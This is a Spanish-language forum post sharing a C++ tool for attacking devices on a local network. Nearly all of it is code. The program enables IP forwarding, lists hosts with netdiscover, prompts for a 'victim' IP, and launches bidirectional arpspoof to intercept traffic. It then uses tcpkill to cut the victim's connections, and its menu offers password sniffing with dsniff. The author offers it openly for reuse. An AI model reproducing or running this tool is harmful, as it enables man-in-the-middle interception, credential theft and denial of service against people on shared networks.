El multithread lo copie de google, y pues como yo lo copie de alguien no me parece ético guardarme el programa para mi.
Les cuelgo el programa como dije solo tiene las opciones esenciales, pero lo cuelgo por si a alguien le resulta útil para aprender o quiere mejorarlo y adaptarlo a sus necesidades.
PD:Prohibido venderlo o no compartir vuestras mejoras.
Código
//Compilar con gcc test.cpp -lpthread #include <iostream> #include <string> #include <cstdlib> #include <fstream> #include <pthread.h> #include <cstring> #define NUM_THREADS 4 struct thread_data{ int thread_id; char *o; char *a; }; using namespace std; //Funcion que ejecuta los diferentes hilos void *arpspf_bidireccional (void *threadarg) { struct thread_data *my_data; my_data = (struct thread_data *) threadarg; if (my_data->thread_id==1) {system(my_data->o);} if (my_data->thread_id==2) {system(my_data->o);} if (my_data->thread_id==3) {system(my_data->a);} pthread_exit(NULL); } //Funcion para la opcion bidireccional int bidireccional(int oo, string opcion) { string interfaz="",a="",b=""; string O,A; system ("echo 1 > /proc/sys/net/ipv4/ip_forward"); //Mostramos la informacion de las interfacez system("ifconfig -s"); cout << "INTERFAZ: "; cin >> interfaz; cout << endl << endl; //Listamos las ips que esten onkine system("netdiscover"); cout << "IP DE LA VICTIMA: "; cin >> a; cout << "IP DEL ROUTER: "; cin >> b; pthread_t threads[NUM_THREADS]; struct thread_data td[NUM_THREADS]; int rc; int i; //Bucle para crear los hilos for( i=0; i < NUM_THREADS; i++ ){ td[i].thread_id = i; //Condicionales para elegir el tipo de filtro switch (oo) { case 1:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+" or dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str()); break; case 2:A="gnome-terminal -e \"tcpkill -i "+interfaz+" dst "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str()); break; case 3:A="gnome-terminal -e \"tcpkill -i "+interfaz+" src "+a+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str()); break; case 4:A="gnome-terminal -e \"tcpkill -i "+interfaz+" port "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str()); break; case 5:A="gnome-terminal -e \"tcpkill -i "+interfaz+" host "+opcion+"\"";td[i].a = new char[A.length()+1];strcpy(td[i].a, A.c_str()); } //Condicionales para no ejecutar dos hilos iguales if (i==1) { O="arpspoof -t "+a+" "+b;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());} if (i==2) { O="arpspoof -t "+b+" "+a;td[i].o = new char[O.length()+1];strcpy(td[i].o, O.c_str());} rc = pthread_create(&threads[i], NULL, arpspf_bidireccional, (void *)&td[i]); if (rc){ cout << "Error:unable to create thread," << rc << endl; return 0; } } pthread_exit(NULL); } //Menu principal int main() { int o,oo; string opcion=""; cout << "Se requiere de gnome-terminal del paquete DSNIFF y de netdiscover O bactrack"; cout << "\n\n------MENU PRINCIPAL------\n"; cout << "1.CORTAR CONEXIONES CON TCPKILL\n2.ESNIFEAR CONTRASEÑAS CON DSNIFF\n0.DESCARGAR LOS PAQUETES NECESARIOS\n"; cin >> o; if (o==0) {system("sudo apt-get install netdiscover");system("sudo apt-get install dsniff");system("sudo apt-get install gnome-terminal");return 0;} system("clear"); cout << "\n \nFILTRO \n1.CORTAR LAS CONEXIONES DE LA VICTIMA\n2.CORTAR LAS CONEXIONES ENTRANTES DE LA VICTIMA\n3.CORTAR LAS CONEXIONES SALIENTES DE LA VICTIMA\n4.CORTAR CONEXIONES DE UN PUERTO\n5.CORTAR CONEXIONES CON UN HOST\n0.CREAR TU PROPIO FILTRO(NO HACER NADA)\n"; cin >> oo; if (oo==4) {cout << endl << endl << "PUERTO: ";cin >> opcion;} if (oo==5) {cout << endl << endl << "HOST o DOMINIO: ";cin >> opcion;} cout << endl << endl; bidireccional(oo,opcion); }